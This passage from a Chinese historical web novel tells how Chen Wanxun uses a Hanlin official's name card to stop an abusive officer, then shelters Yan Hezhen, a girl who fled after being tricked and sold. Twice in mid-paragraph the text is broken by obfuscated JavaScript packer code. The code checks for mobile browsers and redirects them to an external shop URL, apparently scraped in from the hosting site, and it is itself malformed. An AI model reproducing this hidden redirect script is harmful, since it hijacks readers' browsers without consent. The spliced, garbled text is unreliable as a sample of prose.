跟着武官一道来的兵卒，终于回过了神，有个兵卒拿刀鞘挡了一下，刀刃歪了一歪，砍中了王三儿的大腿。 王三儿杀猪般嚎叫。 “反了，反了，给我拿下他。”那武官被兵卒救起，又横了起来。 双拳难敌四手，眼见自家堂兄陷在一众兵卒里，陈婉紃冲了出去，右手高高举着一张名刺，声音寒厉： “我看谁敢动！翰林院陈老爷的公子是你们能动得的，这镇江府没有王法了吗！丹徒县衙门、镇江府衙门要是给不了公道，我就去南直巡按衙门、应天巡抚衙门讨一个公道。” 店掌柜的看着陈婉紃右手举着的那张红笺纸帖，颤抖着读出声，“晚生翰林院庶吉士陈竑。” “小的无能，竟让翰林老爷的家眷在小店受辱。”店掌柜身子一软，跪在了地上。 那姓熊的千户也识得字，他本以为这家人至多是个富户，做梦也想不到是翰林家的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405887|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这种“晚生”开头的名刺，只有家里至亲之人才能拿到，为的是遇到情况紧急时，家里至亲能持帖投进任何一座衙门。 陈婉紃这一世生为缙绅望族阳湖陈家的女儿，自幼浸染，才知道在官宦之家有一本叫做《缙绅录》的厚厚的书。 上至两京，下至一十三省，皇朝的官员都记载在《缙绅录》上，且每季更新。 大伯父陈竑的名字，此时一定记在最新的《缙绅录》上。 她手里拿着的名刺，绝不是拿着做做样子吓唬人的，而是拿着可以走进镇江府里的任何一座衙门，那些高高在上的大老爷也会亲自见她。 熊千户虽是武官，也是朝廷的臣子，这些他当然知道。他更知道如今文贵武贱，尤其是翰林官，清贵中的清贵。 翰林院的庶吉士，虽说没有品级，但只要成了庶吉士，便成了翰林，而翰林是朝廷重臣的储备，所谓“非进士不入翰林，非翰林不入内阁”。 “都……都住手。”熊千户心知闯了大祸，如雷轰顶，止住了兵卒，扑通一下跪在了陈鹏面前，一个劲的磕头认错。 前面何其凶横，现在毫无尊严的跪在地上磕头，好一个卑鄙猥琐的小人，看一眼都嫌脏了眼。 紧随在陈婉紃后面的陈二老爷，连忙将女儿拉进了屋里。 陈鹏冷哼一声也进了屋。 熊千户又怕又恨，一腔子腌臜怒火全发泄在王三儿身上，对着王三儿一阵猛踢，嘴里千狗才，万杀才的骂个不休。 王三儿腿上本就被砍了一刀，又被熊千户踢打，淌了一地血，身子软成一滩烂泥，像一条死狗一样躺在地上，出气多，入气少。 陈鹏已从店伙计口中知晓王三儿恶贯满盈，怕他死在这里，便宜了他。 “够了。”叫停了熊千户。 那熊千户面上一喜，以为陈翰林的公子出了气，放过了他，哈腰弓背地离开了连升店。 什么搜捕逃妾的话，一句都不敢再提。 熊千户一走，陈二老爷让店伙计拖着王三儿，与陈鹏一道，去了丹徒县衙。 丹徒县是镇江府的首县，县衙与府衙同城。 治下出了如此恶棍，丹徒知县忙接了状子，即刻发出牌票，命衙役将王三儿押进牢狱，待他清醒再行审理。 并将陈家叔侄延入内堂客厅，亲手奉上香茗。 镇江与南京相距不远，那日南京一众官员在码头迎候南直提学康大人，陈鹏与康大人同乘官船，意气轩昂、谈笑风生，这一消息也传入了镇江知府的耳中。 新科翰林的公子，翰林院侍读学士兼南直提学新收的爱徒，竟在镇江府受辱。镇江知府得了信，坐了轿子赶往丹徒县衙，亲自抚慰一番。 陈二老爷和陈鹏应酬完镇江知府、丹徒知县，赶回连升店，天已黑透。 陈老太太上了年岁，三小姐淑绘受了惊吓，喝了陈婉紃熬的安神汤，都睡下了。 陈婉紃却睡不着，坐在窗前，看着夜空中明明灭灭的繁星，心绪杂乱如春草。 19. 第19章 前几天，祖母和父亲夸她能干，若不是今天遇到这种事，她竟要信以为真了，以为自己或许真的能在这个世道多做些事。 她惨淡一笑，没有陈家的护佑，她在这个世道就是任人宰割的羔羊。 毫无睡意，听觉便分外敏锐，远远地便听到了一阵杂杂沓沓越走越近的脚步声，其中一双脚步声是二老爷的。 陈婉紃提起一盏灯笼，去院门口迎接陈二老爷。 “这位是……小公子吧。”与陈二老爷并肩而行的一个中年男人，笑呵呵地问道。 没想到天色这么晚了，除了陈家人，还有客人随着一同回来。 陈婉紃犹豫着不知如何答话。 “是舍弟，”陈鹏抢先回答，“二弟，见过许世伯。” 陈婉紃听话地向中年男子行了子侄礼。 “好个俊秀儿郎，守谦兄，南直灵气真是钟爱贵府，一门芝兰玉树啊。”这位姓许的中年男子，是丹徒知县的刑名师爷，亦是丹徒知县的心腹，一叠连声地夸赞。 陈二老爷，名端，字守谦。 陈二老爷摆手谦让一番，却停在门口，没有邀请许师爷进去的意思。 许师爷不以为忤，是他有求于人，确切的说是丹徒知县有求陈家。 那位熊千户本人纨绔骄横，熊家却是本地的巨室富豪，熊家长辈见闯下大祸，备下千金求到了丹徒知县面前。 丹徒知县既不想与熊家翻脸，又不想得罪陈家，秘密叮嘱心腹许师爷，寻着机会悄悄劝解陈家叔侄，与熊家私下和解了罢。 一者陈家一行里带着女眷，传扬出去那起子嘴巴缺德的保不齐传出什么话。再者，那熊千户家愿伏低做小、赔礼道歉，为熊千户冲撞冒犯陈家赔罪。 陈二老爷却恼恨极了这起子残虐跋扈的武官，不肯松口，冷笑一声，“他说找错了地方？哼，有没有那劳什子‘逃妾’还不一定呢。” “守谦兄，这个愚弟却是可以打包票的，那熊千户府中确是为了追府中逃妾，他买那妾花了一大笔银子，那妾却逃了，这事闹得满城皆知……” 许师爷说话时，突然响起一声砖瓦之类碰撞的响声，在夜色里很刺耳。 “什么声音？”许师爷惊声问。 陈婉紃听着响声从她身边的墙角传来的，客店为了防火，在墙角处放了一个比人还要高的大水缸，她走到缸边，举着灯笼一望。 水缸与墙壁之间有缝隙，一个衣衫单薄的年轻姑娘蜷缩着，瞪着一双绝望的泪眼，与她对视。 “没什么，可能是个猫啊、雀啊之类的，不小心碰着了瓦啊、缸啊的吧。”陈婉紃若无其事地转了回去。 许师爷一心要说服陈家二老爷与熊千户家和解，听得陈家小公子的话，也就不在意了，继续与陈二老爷攀谈。 时已入秋，一阵寒风吹过，吹得陈婉紃手中提着的那盏灯笼烛火抖瑟。 她的目光轻轻掠过墙角的大水缸。 以手掩唇，陈婉紃故意重重地咳嗽一声。 陈二老爷立即看过来，语气着急，“哎呀，你这孩子是不是着凉了，夜深天冷的，你感激回去。” “爹爹，我没事儿，您今儿晚上的药还没喝，怕药凉了，我一直煨在炉子上。”陈婉紃回答道。 许师爷何等伶俐，当即意识到陈家人这是在逐客，该说的已经都说了。陈家二老爷耿介，陈家大爷却是个圆融的聪明人，给他们一些时间商议，比自己缠着陈家二老爷苦苦相劝，效果更好。 “瞧我这粗心大意的，竟然忘了守谦兄病体未愈，真是该打。”许师爷往自个脑门上重重拍了一下，又说了一番恳切的客气话，与陈二老爷揖礼作别。 陈婉紃跟着陈鹏一道行礼，送别许师爷。 直到看不到许师爷的身影，陈二老爷摸了摸陈婉紃的手，冰凉凉的，心疼的皱眉，“走，快进屋子里暖暖。” 陈婉紃脚步不动，反而对堂兄陈鹏说道：“大哥，你去前边看着，要是有人来就咳嗽一声。” 陈鹏眉梢一跳，看向陈婉紃，陈婉紃点头。 兄妹俩无声对视，陈鹏没有问一声就听从了这位妹妹的指派，应了声好，提步走向前边巷子转角。 确认了不会被外人撞破，陈婉紃拉着陈二老爷急步走到大水缸旁，小声说：“现在没事了，你快出来吧。” 看着一个年轻女子颤颤巍巍地从大水缸后边爬出来，陈二老爷震惊不已。 那年轻女子爬出来后，坐在地上，脊背紧紧贴着大水缸，冻得颤抖，却一声儿不言语，面孔惨白，睁着一双大大的眼睛，惊恐而又木然。 “你别怕，我也是女孩子。”陈婉紃突然开口，不问她身份来历，反倒说了一句仿佛不相干又突兀的话。 那年轻女子却似突然放松了，眼神从惊恐木然变得哀怜求助，“求求小姐，救救我。” 她的声音粗哑难听，与她的容貌毫不相衬。 “爹爹，先带她进屋里吧。”陈婉紃望向陈二老爷，她想帮她。 “好，好。”陈二老爷回了神，连连点头，接过陈婉紃手中灯笼，“紃儿，你扶她进去。” 陈婉紃将那年轻女子扶起来，才发现她腿上有伤，难怪她一直坐着。 半扶半抱地把人搀进正中间那屋明间。 陈老太太觉浅，听到动静已经起身，见了孙女儿搀进来的年轻女子，心里已猜着了几分。只是不知这女子为何要逃？ “孩子，别怕。”陈老太太打眼一扫，见这女子吓得狠了，人都有些木呆呆的，生得容色娇艳，却没有丝毫风尘轻薄之色。想着她的遭遇，不由起了几分心疼，忙让厨娘去烧水、煮饭。 陈老太太吩咐完厨娘，对陈婉紃说，“紃儿，你去拿一身新衣裳。” 陈婉紃刚起身，衣袖被扯住了，那年轻女子紧紧拽着她的袖子不放，一双圆滚滚的眼睛里满是惊恐。 除了陈婉紃，她谁都不相信。 陈老太太无奈，让厨娘先煮一碗醪糟鸡蛋羹，里面多放姜丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405888|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗热腾腾的醪糟鸡蛋下肚，年轻女子惨白的脸色有了一丝红润，她像是终于有了重新做回人的实感。 她忽而用双手捂住了眼。 厨娘烧好了热水，陈婉紃轻轻抚拍她剧烈颤抖的肩膀，手下的骨头硌得手疼，“我们先去洗个澡，好不好？” 陈婉紃领着她去了厨房，将一身自里到外的干净衣裳放在凳子上，用一块包袱皮盖着，上面放着擦头发身子的巾帕。 “里衣是新的，我还没有上过身，夹绵衫裙穿过几次，都洗的干干净净的。那个细瓷盒子里是澡豆，旁边是梳匣，梳子、篦子那些都在里面……”陈婉紃一一告知明白，走了出去，关上了房门，让厨娘在外守着。 许久后，那女子洗完澡，头发擦得半干，梳了一条辫子，换上干净衣裳，走了出来。一进明间，双眼先找着了陈婉紃，才跪在陈老太太面前。 “小女华亭县颜合珍，先父监生出身，做过周王府奉祀，年老告病还乡……” 听得她哭诉家世，陈老太太越听越是痛心，好端端的一个官宦家的女孩儿，遇到这种横祸。 “两年多前，外祖母生病，母亲带着我从华亭县出城去八团内川沙外祖家探望外祖母。万万没有想到，路上遇上了逃窜的百姓，说是海上的倭贼打来了。成千上万的人，汹涌乱窜，哭的哭，叫的叫。我坐的那辆马车惊了马，一溜烟的跑了，等到马跑累停下，已经与母亲走散了。马夫也不知去向。只剩了我一个人。” 两年多前的那场失散，是颜合珍噩梦的起源，她面露痛苦之色，声音越发嘶哑。 陈婉紃给她递了一杯温水，“先歇歇，要是不想说就不说了。” 已经确定了她的身份，天亮后，陈家不怕与那个武官熊千户对质。 颜合珍喝了水，情绪平复了一些，她含着泪摇摇头，“我得全说了，我不是……逃妾。” “我不知道到了什么地方，倭贼上岸来犯，附近的百姓逃跑一空，连个人影都看不到。眼看就要天黑了，我那时又慌又怕，又渴又饿，急得六神无主。正在那时，突然从小道上走来一个人，他见了我一怔，我顾不得羞怕，仔细看了看，也认出了那人。那人曾在我父亲手下当过差，后来父亲过逝，那人也离去了。那人醒过神，问我为何独自一人，为何在此地？” 颜合珍捧着茶盅，用力到指尖发白，“我以为遇到了救星，将路遇百姓逃窜，马车受惊，与母亲失散的事告诉了他。他随即就跪在地上叫我小姐，给我磕了个头，说天色眼见就黑了，恐怕路上遇到倭贼，他家离此处不远，家里有老母在，不如委屈我到他家暂住一晚。他进县城送信，好使家里多派人来接我。” “可恨我养在深闺，虽然父母教我读书识字，却不懂人情险诈。那人赶了马车，我坐在车上，全不知上了贼船。那人将马车赶到一处宅院，后来我才知是一所……”颜合珍突然死死咬着嘴唇，她的人生已经毁灭殆尽，陈家小姐是她的恩人，不该被这些污糟的话脏了耳朵。